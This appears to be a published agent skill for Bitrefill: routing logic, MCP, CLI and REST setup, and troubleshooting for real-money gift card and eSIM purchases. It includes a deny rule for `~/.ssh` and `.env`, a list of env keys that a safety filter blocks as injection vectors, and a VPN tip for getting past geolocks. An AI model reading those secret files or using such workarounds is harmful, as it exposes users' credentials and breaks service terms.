Skills
3596 foundAgent Skills are multi-file prompts that give AI agents specialized capabilities. They include instructions, configurations, and supporting files that can be used with Claude, Cursor, Windsurf, and other AI coding assistants.
Buy or browse Bitrefill — 1,500+ gift cards, mobile top-ups, and eSIMs across 180+ countries, payable in crypto, Lightning, USDC via x402, or pre-funded acco...
---
name: bitrefill
description: "Buy or browse Bitrefill — 1,500+ gift cards, mobile top-ups, and eSIMs across 180+ countries, payable in crypto, Lightning, USDC via x402, or pre-funded account balance. Routes the host agent to its highest-fidelity channel (residential browser, MCP server, npm CLI, or REST API) based on detected runtime capabilities, with a dedicated OpenClaw integration guide for chat-channel scenarios. Triggers when the user mentions Bitrefill, gift cards, mobile top-up, eSIM data plan, refilling a phone, or asks to pay or check out with crypto, Lightning, USDC, or x402."
compatibility: "Detects host capabilities at runtime. Paths require: browse — residential-IP browser; MCP — MCP-capable client + Bitrefill OAuth/API key; CLI — Node.js >=18 + shell + npm; API — outbound HTTP + Bitrefill API key (Personal) or API ID/Secret (Business/Affiliate). OpenClaw host gets a dedicated guide."
metadata:
author: bitrefill
version: "2.1.0"
homepage: "https://www.bitrefill.com"
docs: "https://docs.bitrefill.com"
repository: "https://github.com/bitrefill/cli"
---
# Bitrefill
Bitrefill sells digital goods (gift cards, mobile top-ups, eSIMs) across 180+ countries and 1,500+ brands. Pay with crypto, Lightning, USDC via x402, or pre-funded account balance. Codes deliver instantly after payment confirms.
This skill **routes by capability, not by use case**. Same intent ("buy a Steam card") plays out differently across hosts. Pick a path below based on what your runtime can do.
## Pick a path
Walk these checks **in order**. First match wins.
1. **Inside OpenClaw?** Check for `~/.openclaw/openclaw.json`, `~/.openclaw/skills/`, or `openclaw` on PATH. If yes → read [host-openclaw.md](references/host-openclaw.md) first. OpenClaw is a superset host: it can run all four paths plus chat-channel scenarios (Telegram purchase, cron top-up, mobile camera). After setup, return here and pick MCP/CLI/API for the actual task.
2. **Browse-only intent (no purchase)?** If the user only wants to explore, compare prices, or learn how products work:
- Have a residential-IP browser (ChatGPT Atlas, Cursor browser tool, Claude/Playwright Chrome extension, OpenClaw on user host)? → [browse.md](references/browse.md).
- Datacenter egress only (ChatGPT web/Agent, Gemini consumer, Jules)? `www.bitrefill.com` returns **403 Cloudflare** to datacenter IPs. Use [mcp.md](references/mcp.md) `search-products` / `product-details` instead — they return the same catalog without scraping.
3. **MCP supported?** Bitrefill ships a remote HTTP/SSE MCP at `https://api.bitrefill.com/mcp`. Works on Claude.ai (Pro+), Cowork, Claude Desktop, Claude Code, ChatGPT (Plus+), Atlas, Codex CLI, Gemini CLI, Cursor, OpenCode, OpenClaw. **Highest-fidelity purchase channel — typed tool calls, OAuth or API key, no shell needed.** → [mcp.md](references/mcp.md).
4. **Shell + `npm install` available?** Claude Code, Codex CLI, Cursor, Gemini CLI, OpenCode, OpenClaw, Jules (ephemeral VM), ChatGPT Agent (sandbox). → [cli.md](references/cli.md).
5. **Outbound HTTP from agent loop?** Anywhere shell exists, plus Claude Code `WebFetch`. Last resort — verbose, no typed validation. → [api.md](references/api.md).
6. **None of the above** (e.g. Gemini consumer free tier): give the user a `bitrefill.com` link and stop.
Don't know which host you're in? Read [capability-matrix.md](references/capability-matrix.md) — per-client cheat sheet maps every leading agent product to its viable paths.
## Top spending safeguards (read full list before any purchase)
This skill enables **real-money transactions**. Codes deliver instantly and digital goods are non-refundable per EU consumer rights.
- **Confirm before buying.** Present product, denomination, price, payment method. Wait for explicit user approval. Autonomous purchasing only when user opts in for the current session.
- **Treat codes as cash.** Never paste in group chats or public channels. Prefer in-memory storage over plain-text logs. Advise user to redeem ASAP.
- **Use a dedicated, low-balance account.** Never give the agent access to high-balance accounts or crypto wallet seeds. This skill is **not a wallet**.
- **Log every purchase.** `invoice_id`, product, amount, payment method.
Full safeguards + per-host hardening (OpenClaw exec-approvals, Cursor auto-approve, Codex sandbox, Claude Code allowlist) → [safeguards.md](references/safeguards.md).
## References
| File | Use when |
|------|----------|
| [browse.md](references/browse.md) | Agent has residential-IP browser; user wants to explore |
| [mcp.md](references/mcp.md) | MCP-capable host; preferred purchase path |
| [cli.md](references/cli.md) | Shell + npm available; headless scripting |
| [api.md](references/api.md) | HTTP-only runtime; Personal / Business / Affiliate REST tiers |
| [host-openclaw.md](references/host-openclaw.md) | Running inside OpenClaw Gateway |
| [capability-matrix.md](references/capability-matrix.md) | Per-client viable paths cheat sheet |
| [safeguards.md](references/safeguards.md) | Spending policy + per-host hardening |
| [troubleshooting.md](references/troubleshooting.md) | Common errors across all paths |
## Source of truth
Skill summarizes and routes. For exhaustive enums (countries, payment methods, full endpoint list), follow link-outs to <https://docs.bitrefill.com>.
FILE:references/api.md
# Path: REST API
Use when: outbound HTTP available but no MCP and no shell. Last resort — verbose, no typed validation. Examples below use `curl` but any HTTP client works.
Base URL: `https://api.bitrefill.com/v2`
## Three tiers
| Tier | Auth | Use case |
|------|------|----------|
| Personal | Bearer token | Personal projects, agent automation |
| Business | Basic auth (`API_ID:API_SECRET`) | Platforms, resellers, BRGC batches, deposits, test products |
| Affiliate | Basic auth | Same as Business + commission tracking, results filtered by `referrer_id` |
## Personal API (agent default)
Get key: <https://www.bitrefill.com/account/developers>.
```bash
export BITREFILL_API_KEY=YOUR_API_KEY
H="Authorization: Bearer $BITREFILL_API_KEY"
# 1. Ping
curl -H "$H" https://api.bitrefill.com/v2/ping
# → {"data":{"message":"pong"}}
# 2. Balance
curl -H "$H" https://api.bitrefill.com/v2/accounts/balance
# 3. Search
curl -H "$H" "https://api.bitrefill.com/v2/products/search?q=amazon"
# 4. Product details
curl -H "$H" https://api.bitrefill.com/v2/products/amazon-us
# 5. Buy (balance, instant)
curl -X POST -H "$H" -H "Content-Type: application/json" \
-d '{
"products": [{"product_id":"amazon-us","package_id":"amazon-us<&>50","quantity":1}],
"payment_method": "balance",
"auto_pay": true
}' \
https://api.bitrefill.com/v2/invoices
# 6. Order / redemption
curl -H "$H" https://api.bitrefill.com/v2/orders/{order_id}
# → data.redemption_info.code, .link, .pin, .instructions
```
For crypto: omit `auto_pay`, set `payment_method: "bitcoin"|"lightning"|"usdc_base"|...`, include `refund_address` for crypto methods, then poll `GET /invoices/{id}` until `status: "complete"`.
## Business API
Apply: <https://www.bitrefill.com/integrate>.
```bash
TOKEN=$(printf "%s:%s" "$BITREFILL_API_ID" "$BITREFILL_API_SECRET" | base64)
H="Authorization: Basic $TOKEN"
curl -H "$H" https://api.bitrefill.com/v2/ping
```
Adds: BRGC (Bitrefill Reusable Gift Card) batches, account deposits via crypto, full product catalog including test products. Same endpoints + `POST /brgc-batches`, `POST /accounts/deposit`.
## Affiliate API
Apply: <https://www.bitrefill.com/affiliate>. Same auth as Business. Adds `GET /commissions` with `after`/`before` date filters. Order/invoice queries return data filtered by `referrer_id` instead of `user_id`.
## Key endpoints
- `GET /ping` — health check (1 req / 3 s)
- `GET /accounts/balance` — current balance
- `GET /products` — paginated catalog (cache locally, refresh daily; 1000 product req/hr quota shared with search)
- `GET /products/search?q=...` — keyword search
- `GET /products/{id}` — product details with `packages` array
- `POST /invoices` — create invoice (max 20 products)
- `POST /invoices/{id}/pay` — pay unpaid balance invoice
- `GET /invoices/{id}` — status
- `GET /orders/{id}` — redemption info
- `POST /esims` — create eSIM invoice (or top-up existing via `esim_id`)
- `GET /esims` / `GET /esims/{id}` — list / get user eSIMs
Webhooks: `webhook_url` field on invoice creation → notification when delivered.
## Test products
Business/Affiliate only. No money charged. Examples: `test-gift-card-code`, etc. Full list: <https://docs.bitrefill.com/docs/test-products>.
## Rate limits
Most endpoints 60 req / 10 min. `/products` and `/products/search` 60 req/min + 1000 product req/hr quota. `/ping` 1 req / 3 s. Full table: <https://docs.bitrefill.com/docs/rate-limits>.
## Source of truth
- <https://docs.bitrefill.com/docs/api-overview> — tier comparison + auth
- <https://docs.bitrefill.com/docs/quickstart-2> — 6-step purchase flow
- <https://docs.bitrefill.com/reference> — full endpoint catalog
- <https://docs.bitrefill.com/docs/error-codes> — error codes
- <https://docs.bitrefill.com/docs/webhooks> — webhook payload spec
FILE:references/capability-matrix.md
# Capability Matrix
Per-host cheat sheet. Each entry = viable paths in priority order + one-line reason. Pick the first that fits, fall back as needed.
Legend:
- **MCP** → [mcp.md](mcp.md)
- **CLI** → [cli.md](cli.md)
- **API** → [api.md](api.md)
- **Browse** → [browse.md](browse.md) (residential IP required)
- **OpenClaw** → [host-openclaw.md](host-openclaw.md)
## Anthropic
### Claude.ai web — Free
- No MCP custom URLs (Pro+ only). No shell. No residential browser.
- **Path**: none viable for purchases. For browse: only if user installs Claude-for-Chrome extension → Browse.
- **Fallback**: send user `bitrefill.com` link.
### Claude.ai web — Pro / Max / Team / Enterprise / Cowork
- MCP custom URLs allowed. Cowork adds desktop shell.
- **Paths**: MCP first → Browse via Claude-for-Chrome ext.
- Cowork only: + CLI via desktop shell.
### Claude Desktop
- MCP first-class (stdio + remote). No native shell, no native FS, no native HTTP — wire via MCP servers.
- **Paths**: MCP first → CLI via stdio MCP wrapping `npx @bitrefill/cli` → Browse via Chrome ext or Computer Use.
### Claude Code (CLI)
- Most flexible. Full host shell, MCP, WebFetch, Chrome ext.
- **Paths**: MCP first → CLI second → API via WebFetch / curl → Browse via Chrome ext or browser-use skill.
- Tighten: sandbox allowlist `api.bitrefill.com`, `registry.npmjs.org`. Deny `~/.ssh`, `.env`.
## OpenAI
### ChatGPT web — Free
- No custom MCP, no shell, datacenter browser → Cloudflare 403.
- **Path**: none. Send user `bitrefill.com` link.
### ChatGPT web — Plus / Pro / Business / Enterprise / Edu
- Custom MCP via Apps & Connectors (Developer Mode for write tools). Code Interpreter has no network.
- **Path**: MCP only. Browser is OpenAI datacenter — **do NOT route to Browse** (Cloudflare).
### ChatGPT Desktop
- Same as ChatGPT web. "Work with Apps" can read IDE/terminal panes but not execute.
- **Path**: MCP only.
### ChatGPT Atlas
- Built-in Chromium with **residential IP** (user's network). Inherits account connectors. No shell.
- **Paths**: Browse first (its superpower) → MCP via account connectors.
### ChatGPT Agent (formerly Operator)
- Sandboxed Linux + code interpreter. Hosted browser uses **OpenAI datacenter IP**.
- **Paths**: MCP via account connectors → CLI inside sandbox shell → API via curl. **Do NOT route to Browse** (Cloudflare).
### OpenAI Codex CLI
- Full host shell (Seatbelt/Landlock sandboxable). MCP stdio + HTTP. Profiles in `config.toml`.
- **Paths**: MCP first → CLI second → API via curl. Browser via MCP only.
- Tighten: `--sandbox workspace-write --ask-for-approval on-request`. API key in profile, not committed config.
## Google
### Gemini consumer — Free
- No MCP. No shell. No residential browser.
- **Path**: none. Send user `bitrefill.com` link.
### Gemini consumer — AI Pro / Ultra (US)
- "Auto Browse" runs from Google IPs → likely Cloudflare-blocked on bitrefill.com.
- **Path**: try Auto Browse + bitrefill.com URL; if blocked, send user the link.
### Gemini CLI
- Full host shell (sandboxable: Seatbelt / Docker / gVisor). MCP stdio + SSE + streamable-http.
- **Paths**: MCP first → CLI second → API via `web_fetch` or curl. Browser via MCP (Chrome DevTools / Playwright).
### Jules (async coding agent)
- Ephemeral Ubuntu VM, Google IPs, no MCP exposed to user, no residential browser.
- **Paths**: CLI inside VM → API via curl. **Not interactive** — best for batch tasks. No purchases recommended.
## Other
### Cursor IDE
- Built-in browser tool, terminal tool, MCP (40-tool cap across servers). Cloud Agents in isolated VM.
- **Paths**: MCP first → CLI in terminal → API via shell or built-in browser → Browse via built-in browser.
- Tighten: keep `buy-products` out of `autoApprove` in `.cursor/mcp.json`.
### OpenCode (sst/opencode)
- Full host shell. MCP stdio + HTTP. Permission model per agent (`allow`/`ask`/`deny`).
- **Paths**: MCP first → CLI second → API via `webfetch` or shell. Browser via MCP.
### OpenClaw — superset host
- Agentskills.io loader. MCP via `openclaw mcp set`. Full host shell + FS. `browser` tool uses host IP. Mobile nodes (camera, canvas, voice). Cron. Multi-channel chat (Telegram, WhatsApp, Slack, Discord, iMessage, Signal, Matrix, Teams, etc.).
- **Paths**: read [host-openclaw.md](host-openclaw.md) **first** for setup + safeguards. Then MCP → CLI → API → Browse as task requires.
- Default agent: **Pi** (Anthropic / OpenAI / Google compatible via API key).
- Unique scenarios: chat-channel purchase from phone, cron auto-renew top-ups, mobile camera OCR of receipts, multi-channel handoff.
## Quick decision
If user says "what host am I in?": run `command -v openclaw` and check `~/.openclaw/`. If `command -v claude` works = Claude Code. If `command -v codex` = Codex. Look at conversation context for IDE name. When in doubt: try MCP first (broadest support), fall back to CLI, then API.
FILE:references/mcp.md
# Path: MCP
**Preferred purchase channel.** Typed tool calls, OAuth or API key, no shell, works in 10+ hosts.
## Two MCP servers
### eCommerce MCP — for purchases
URL: `https://api.bitrefill.com/mcp` (OAuth) **or** `https://api.bitrefill.com/mcp/YOUR_API_KEY` (header-less, key-in-path).
7 tools:
- `search-products` — keyword + country + category
- `product-details` — packages (denominations) + pricing
- `buy-products` — create invoice
- `get-invoice-by-id` — poll payment status
- `get-order-by-id` — get redemption info (codes, eSIM QR)
- `list-invoices` — invoice history
- `list-orders` — order history
Auth: OAuth (recommended for interactive use) or API key from <https://www.bitrefill.com/account/developers>.
### Development MCP — for docs only
URL: `https://docs.bitrefill.com/mcp`. Indexes the docs site for code-help. **Not for purchases.** Use only when authoring an integration against the Bitrefill API/CLI.
## Per-client setup
### Cursor — `.cursor/mcp.json` (project) or `~/.cursor/mcp.json` (global)
```json
{
"mcpServers": {
"bitrefill": {
"url": "https://api.bitrefill.com/mcp",
"autoApprove": [
"search-products", "product-details",
"list-invoices", "get-invoice-by-id",
"list-orders", "get-order-by-id"
]
}
}
}
```
Keep `buy-products` **out** of `autoApprove`. Cursor caps at 40 active tools across all servers.
### Claude Code
With the **bitrefill** plugin installed from this repo’s marketplace, the eCommerce MCP is auto-registered; `claude mcp add` below is for manual-only setups.
```bash
claude mcp add bitrefill --url https://api.bitrefill.com/mcp
```
Or edit `~/.claude.json`. Override output cap with `MAX_MCP_OUTPUT_TOKENS` (default 25 000).
### Claude Desktop — `claude_desktop_config.json`
macOS: `~/Library/Application Support/Claude/claude_desktop_config.json`. Windows: `%APPDATA%\Claude\claude_desktop_config.json`.
```json
{
"mcpServers": {
"bitrefill": { "url": "https://api.bitrefill.com/mcp" }
}
}
```
### Claude.ai (web) — Pro / Max / Team / Enterprise
Settings → Connectors → Add custom connector → URL `https://api.bitrefill.com/mcp`. Free tier cannot add custom URLs.
### ChatGPT (Plus / Pro / Business / Enterprise / Edu)
Settings → Apps & Connectors → Add → URL `https://api.bitrefill.com/mcp`. Toggle **Developer Mode** to allow `buy-products` (write tool). Free tier blocked.
### Codex CLI — `~/.codex/config.toml`
```toml
[mcp_servers.bitrefill]
url = "https://api.bitrefill.com/mcp"
bearer_token_env_var = "BITREFILL_API_KEY"
```
OAuth: `codex mcp login bitrefill`.
### Gemini CLI — `~/.gemini/settings.json` (or project `.gemini/settings.json`)
```json
{
"mcpServers": {
"bitrefill": {
"url": "https://api.bitrefill.com/mcp",
"headers": { "Authorization": "Bearer BITREFILL_API_KEY" }
}
}
}
```
OAuth: `gemini mcp auth bitrefill`.
### OpenCode — `opencode.jsonc`
```jsonc
{
"mcp": {
"bitrefill": {
"url": "https://api.bitrefill.com/mcp",
"headers": { "Authorization": "Bearer BITREFILL_API_KEY" }
}
}
}
```
### OpenClaw — see [host-openclaw.md](host-openclaw.md)
```bash
openclaw mcp set bitrefill --url "https://api.bitrefill.com/mcp/$BITREFILL_API_KEY"
```
## Workflow
```
search-products → product-details → buy-products → get-invoice-by-id → get-order-by-id
```
1. **Search**: `search-products(query="Steam", country="US", product_type="giftcard")`. `country` is uppercase Alpha-2.
2. **Details**: `product-details(product_id="steam-usa", currency="USDC")`. Returns `packages` array with `package_id` in form `{product_id}<&>{value}`.
3. **Buy**: `buy-products(cart_items=[{product_id, package_id}], payment_method, return_payment_link=true)`. Max 15 items per call.
- For instant fulfillment: `payment_method: "balance"` + `auto_pay: true`.
- For agent-driven crypto: `payment_method: "usdc_base"` + `return_payment_link: true` → use `x402_payment_url`.
4. **Poll**: `get-invoice-by-id(invoice_id)`. Statuses: `unpaid` → `payment_detected` → `payment_confirmed` → `complete`.
5. **Redeem**: `get-order-by-id(order_id, include_redemption_info=true)` → returns code / link / eSIM install URL.
Confirm with user before step 3. Logging per [safeguards.md](safeguards.md).
## Caveats
- **ChatGPT** custom MCP requires Plus+; write tools require Developer Mode (admin-enabled on workspaces).
- **Cursor** 40-tool cap across all servers.
- **Claude.ai** consumer needs Pro+ for custom URLs.
- **Code-execution sandboxes** (Claude.ai analysis tool, ChatGPT Code Interpreter) have **no network egress** — they can't call MCP servers; install MCP at the chat level instead.
## Source of truth
- <https://docs.bitrefill.com/docs/ecommerce-mcp>
- <https://docs.bitrefill.com/docs/development-mcp>
- <https://docs.bitrefill.com/docs/setup-guides>
- Per-client setup: <https://docs.bitrefill.com/docs/use-with-cursor>, `/use-with-claude-chat`, `/use-with-claude-code`, `/use-with-chatgpt`
FILE:references/cli.md
# Path: CLI
Use when: shell + `npm install` available, **host has no MCP client** (the CLI talks to Bitrefill MCP under the hood). Runtimes: Claude Code, Codex CLI, Cursor terminal, Gemini CLI, OpenCode, OpenClaw, Jules (ephemeral VM), ChatGPT Agent (sandbox).
Sandboxed shells must allowlist `registry.npmjs.org` and `api.bitrefill.com`.
## Install
```bash
npm install -g @bitrefill/cli
```
**First-time setup** (validates API key against MCP, stores credentials, auto-configures OpenClaw if `~/.openclaw/openclaw.json` exists):
```bash
bitrefill init # interactive
bitrefill init --api-key $KEY --non-interactive # CI / agents
bitrefill init --openclaw # force OpenClaw integration
```
From source: `git clone https://github.com/bitrefill/cli.git && cd cli && pnpm install && pnpm build && npm link`.
## Auth
Resolution order (first match wins):
1. **`--api-key <key>`** — global flag; can appear before any subcommand.
2. **`BITREFILL_API_KEY`** — environment variable.
3. **`~/.config/bitrefill-cli/credentials.json`** — written by `bitrefill init` (mode `0600`). Overwrite or remove to change the key.
4. **OAuth** — only when no key is available **and** the session is interactive (TTY, not `CI=true`). Browser flow; state under `~/.config/bitrefill-cli/<host>.json` (e.g. `api.bitrefill.com.json`). Clear with `bitrefill logout` (OAuth only; no-op when using API key only).
Generate keys at <https://www.bitrefill.com/account/developers>.
## Global flags
Place **before** the subcommand:
- **`--api-key <key>`** — override env and stored file.
- **`--json`** — stdout is a single JSON value per run (TOON responses decoded to JSON); status and errors go to **stderr**. Use with `jq`.
- **`--no-interactive`** — skip browser OAuth and prompts; also implied when `CI=true` or stdin is not a TTY. Fails fast if no API key.
```bash
bitrefill --json search-products --query "Amazon" --per_page 1 | jq '.products[0].name'
```
## `llm-context`
Regenerates Markdown from the live MCP `tools/list` (params, JSON Schema, example `bitrefill …` and `tools/call` payloads). Use for **CLAUDE.md**, Cursor rules, or **`.github/copilot-instructions.md`**. Connection line shows `…/mcp/<API_KEY>` (redacted), safe to commit.
```bash
bitrefill llm-context -o BITREFILL-MCP.md
# or: bitrefill llm-context > BITREFILL-MCP.md
```
## OpenClaw quick-bootstrap
If OpenClaw is detected (`~/.openclaw/openclaw.json` readable) or you pass `--openclaw`, `bitrefill init` can: write `BITREFILL_API_KEY` to `~/.openclaw/.env`, merge the Bitrefill MCP server into `~/.openclaw/openclaw.json` (env-var reference, no plaintext key in JSON), and emit `~/.openclaw/skills/bitrefill/SKILL.md`. Hardening and channel setup → [host-openclaw.md](host-openclaw.md).
## Workflow
Subcommands are discovered from the remote MCP server (`bitrefill --help` after connect). Core flow:
```
search-products → get-product-details → buy-products → get-invoice-by-id
```
### 1. Search
```bash
bitrefill search-products --query "Netflix" --country US
bitrefill --json search-products --query "Netflix" --country US --per_page 5 | jq '.products'
bitrefill search-products --query "eSIM" --product_type esim --country IT
bitrefill search-products --query "*" --category games --country US
```
`--country` = uppercase Alpha-2. `--product_type` = `giftcard` or `esim` (singular). Discover categories: `--query "*"` returns a `categories` array with slugs.
### 2. Details
```bash
bitrefill get-product-details --product_id "steam-usa" --currency USDC
```
Returns `packages` array. Each entry has `package_value` — that's the `package_id` for `buy-products`. Ignore the `<&>` compound key.
Three denomination types:
- **Numeric**: `5`, `50`, `200` (pass as number).
- **Duration**: `"1 Month"`, `"12 Months"` (exact, case-sensitive).
- **Named**: `"1GB, 7 Days"`, `"PUBG New State 300 NC"` (exact, case-sensitive).
Only values from `get-product-details` accepted. Arbitrary amounts rejected.
### 3. Buy
`--cart_items` = JSON **array**, even single item. Max 15 items.
```bash
# Numeric, crypto via x402
bitrefill buy-products \
--cart_items '[{"product_id": "steam-usa", "package_id": 5}]' \
--payment_method usdc_base
# Duration, balance (instant)
bitrefill buy-products \
--cart_items '[{"product_id": "spotify-usa", "package_id": "1 Month"}]' \
--payment_method balance
# Named, eSIM
bitrefill buy-products \
--cart_items '[{"product_id": "bitrefill-esim-europe", "package_id": "1GB, 7 Days"}]' \
--payment_method usdc_base
```
Response: `invoice_id`, `payment_link`, `x402_payment_url`, `payment_info` (`address`, `paymentUri`, `altcoinPrice`).
### 4. Track / Redeem
```bash
bitrefill get-invoice-by-id --invoice_id "UUID"
bitrefill list-orders --include_redemption_info true
bitrefill get-order-by-id --order_id "ID"
```
Invoices expire after 180 minutes. Expired = create new one.
## Critical gotchas
- `--cart_items` must be **array** `[...]`, not object `{...}`. Shell quoting matters: single quotes outside, double inside.
- Use `package_value` after `<&>`, not the compound key. WRONG `"steam-usa<&>5"`. RIGHT `5`.
- Named/duration `package_id` exact and case-sensitive. WRONG `"1GB"`. RIGHT `"1GB, 7 Days"`.
- Country code uppercase Alpha-2. WRONG `us`, `USA`, `"United States"`. RIGHT `US`.
## Recommended payment methods (for agents)
`balance` (instant, no on-chain wait, natural cap) → `usdc_base` with x402 (autonomous payment via `x402_payment_url`) → `lightning`. Other crypto requires polling. Full list: `bitrefill buy-products --help`.
## Source of truth
- <https://github.com/bitrefill/cli> — full command reference, options, flags
- <https://docs.bitrefill.com/docs/crypto-payments> — payment methods
- `bitrefill llm-context` — live tool list + schemas from the MCP server
FILE:references/troubleshooting.md
# Troubleshooting
Common errors across all paths. Full enum: <https://docs.bitrefill.com/docs/error-codes> and <https://docs.bitrefill.com/docs/References>.
## Browse path
### `403 Forbidden` when fetching bitrefill.com
Cloudflare blocks datacenter IPs. Fix: switch to residential browser (ChatGPT Atlas, Cursor browser, Claude+Chrome ext, OpenClaw on user host) or pivot to MCP/CLI/API.
### Product appears in listing but not purchasable
Geolock at IP level. URL country only filters listed inventory; checkout enforces user's IP. Tell user to access from the matching country (or VPN) — but warn this may violate ToS.
## MCP path
### Tool not visible to agent
- Cursor: 40-tool cap exceeded across all servers. Disable an unused MCP server.
- ChatGPT: Developer Mode off → write tools (`buy-products`) hidden. Toggle in Settings.
- Claude.ai consumer: Free tier cannot add custom MCP URLs. Upgrade to Pro+.
- OpenClaw: `tools.deny: ["bundle-mcp"]` accidentally hiding the server, or per-agent `tools.allow` whitelist excluding it.
### `StreamableHTTPError` with HTML body
Wrong `MCP_URL` — pointing at non-Bitrefill endpoint. Unset `MCP_URL` env var or set to `https://api.bitrefill.com/mcp`.
### OAuth loop in Cursor / Claude.ai
Clear browser cookies for `bitrefill.com`, try a different browser, ensure pop-ups not blocked.
### MCP server filtered out (OpenClaw)
OpenClaw startup safety filter rejects env keys: `NODE_OPTIONS`, `PYTHONSTARTUP`, `PYTHONPATH`, `PERL5OPT`, `RUBYOPT`, `SHELLOPTS`, `PS4`. Use only standard `*_API_KEY` / `GITHUB_TOKEN` / proxy vars in MCP server `env` blocks.
### MCP output truncated
Default cap varies by host. Claude Code: `MAX_MCP_OUTPUT_TOKENS=50000` to raise. OpenClaw: `tools.toolResultMaxChars` (default 16000). Use pagination: `--per_page 25`, multiple `list-orders` calls.
## CLI path
### `cart_items` JSON shape error
```
# WRONG (object)
--cart_items '{"product_id": "steam-usa", "package_id": 5}'
# RIGHT (array)
--cart_items '[{"product_id": "steam-usa", "package_id": 5}]'
```
### `Invalid denomination 'undefined'`
Both `product_id` AND `package_id` required per item.
### `Too big: expected array to have <=15 items`
Split into multiple `buy-products` calls.
### `per_page must be less than 500`
Server limit. Use 500 max.
### `error: required option '--<name>' not specified`
Client-side validation. Add the missing option.
### "Must be one of" enum errors
| Option | Valid values | Common mistakes |
|--------|--------------|-----------------|
| `--payment_method` | `bitcoin`, `lightning`, `ethereum`, `usdc_polygon`, `usdt_polygon`, `usdc_erc20`, `usdt_erc20`, `usdc_arbitrum`, `usdc_solana`, `usdc_base`, `eth_base`, `balance` | `paypal`, `visa`, `USDC_BASE` (case-sensitive) |
| `--product_type` | `giftcard`, `esim` | `giftcards`, `gift_card`, `sim` |
| `--country` | `US`, `IT`, `BR` (uppercase Alpha-2) | `us`, `USA`, `"United States"` |
### Wrong `package_id` for named denominations
Exact, case-sensitive. WRONG `"1GB"`, `"300 nc"`. RIGHT `"1GB, 7 Days"`, `"PUBG New State 300 NC"`. Get exact strings from `get-product-details` `packages` array.
### Compound key in `package_id`
```
# WRONG
--cart_items '[{"product_id": "steam-usa", "package_id": "steam-usa<&>5"}]'
# RIGHT (value after <&>)
--cart_items '[{"product_id": "steam-usa", "package_id": 5}]'
```
### OAuth hang or auth failure
First-time fix: run `bitrefill init` (validates key, stores `~/.config/bitrefill-cli/credentials.json`).
```bash
export BITREFILL_API_KEY=YOUR_API_KEY # switch to headless
# or
bitrefill logout # clear stale OAuth state only
```
Credentials: API key in `~/.config/bitrefill-cli/credentials.json` (remove file or re-run `bitrefill init` to replace). OAuth tokens/state in `~/.config/bitrefill-cli/<host>.json` (e.g. `api.bitrefill.com.json`); cleared by `bitrefill logout`.
### Empty search results, no error
`found: 0` with no error message. Causes:
- `--category` slug doesn't exist (silent miss).
- Product not available in `--country`.
- `--in_stock true` (default) filters out-of-stock.
Fix: drop `--category`, change `--country`, or `--in_stock false`.
### Unpaid invoices missing from list
`list-invoices` defaults `--only_paid true`. Use `--only_paid false`.
## API path
### `401 Unauthorized`
- Personal: `Authorization: Bearer $BITREFILL_API_KEY` missing or wrong key.
- Business / Affiliate: `Authorization: Basic $(echo -n "$ID:$SECRET" | base64)` malformed.
### `429 Too Many Requests`
Rate limited. Defaults: 60 req / 10 min on most endpoints, 60 req/min on `/products` + `/products/search` plus 1000 product req/hr quota, 1 req / 3 s on `/ping`. Back off + retry. Cache product catalog locally.
### `RESOURCE_NOT_FOUND` on `GET /invoices/{id}`
Bad invoice ID. Verify via `list-invoices`.
### `Product '{slug}' is not available`
Bad product slug. Verify via `search-products`.
### Invoice expired
Invoices expire after **180 minutes**. Cannot re-pay. Create new one.
## OpenClaw-specific
### Cron purchase failed silently
`exec-approvals.json` set to `ask: on-miss` but no operator online to `/approve`. Either pre-approve `bitrefill buy-products` for trusted SKU/amount, or schedule when operator available.
### Pi agent can't see the Bitrefill MCP
Check:
1. `openclaw mcp list` shows entry.
2. `~/.openclaw/openclaw.json` parses (no trailing commas).
3. Agent profile not denying `bundle-mcp` or whitelisting tools narrowly.
4. `BITREFILL_API_KEY` env var set in Gateway environment, not just current shell.
### Mobile node camera tool unavailable
Node not paired or paired but offline. Check `openclaw nodes list`. Re-pair via Control UI (`openclaw dashboard`).
### Telegram message not reaching agent
`channels.telegram.dmPolicy: "pairing"` and sender not paired. Run `openclaw pairing approve telegram <CODE>` (codes expire 1 hr).
## Source of truth
- Bitrefill error codes: <https://docs.bitrefill.com/docs/error-codes>
- Bitrefill error handling: <https://docs.bitrefill.com/docs/References>
- Rate limits: <https://docs.bitrefill.com/docs/rate-limits>
- OpenClaw troubleshooting: <https://docs.openclaw.ai/help> + per-tool pages
FILE:references/host-openclaw.md
# Host: OpenClaw
[OpenClaw](https://docs.openclaw.ai/) is a self-hosted Gateway that bridges chat apps (Telegram, WhatsApp, Slack, Discord, iMessage, Signal, Matrix, Teams, etc.) to coding agents like **Pi**. It is a **superset host**: full host shell, agentskills.io-compatible skill loader, first-class MCP, mobile-node camera/canvas, cron, and multi-channel routing.
This file explains how to install + harden the Bitrefill skill inside OpenClaw and lists scenarios no other host can do. After setup, use the regular path files for the actual workflow.
## 1. Detect OpenClaw
Check **any** of:
- File: `~/.openclaw/openclaw.json` exists.
- Dir: `~/.openclaw/skills/` exists.
- Binary: `command -v openclaw` succeeds.
- Tools in agent loop: `gateway`, `cron`, `nodes`, `canvas`, `sessions_*` (OpenClaw-only).
If yes → continue here. Otherwise → return to [SKILL.md](../SKILL.md) and pick a path.
## 2. Install this skill
Loader paths (increasing precedence): `skills.load.extraDirs` → bundled → `~/.openclaw/skills/` → `~/.agents/skills/` → `<workspace>/.agents/skills/` → `<workspace>/skills/`.
Manual:
```bash
cp -r path/to/bitrefill ~/.openclaw/skills/bitrefill
openclaw skills list # verify
openclaw gateway restart # or /new in chat
```
ClawHub (if/when published):
```bash
openclaw skills install bitrefill
openclaw skills update --all
```
Skill is **agentskills.io-compatible** — no rewriting needed. Source: <https://docs.openclaw.ai/tools/skills.md>.
## 3. Install Bitrefill MCP (preferred path)
CLI:
```bash
openclaw mcp set bitrefill --url "https://api.bitrefill.com/mcp/$BITREFILL_API_KEY"
```
Or hand-edit `~/.openclaw/openclaw.json`:
```json
{
"mcp": {
"servers": {
"bitrefill": {
"url": "https://api.bitrefill.com/mcp",
"headers": { "Authorization": "Bearer BITREFILL_API_KEY" }
}
}
}
}
```
Transport: SSE/HTTP (default for URL entries) or `transport: "streamable-http"`. The 7 Bitrefill MCP tools surface as ordinary Pi tool calls. Restrict per-agent via `agents.list[].tools.allow`/`deny` if running multi-agent. Source: <https://docs.openclaw.ai/cli/mcp.md>.
Then: see [mcp.md](mcp.md) for tool workflow.
## 4. Install Bitrefill CLI (fallback)
Pi has first-class `exec` tool running on the Gateway host (sandboxing **off** by default).
```bash
exec: npm install -g @bitrefill/cli
```
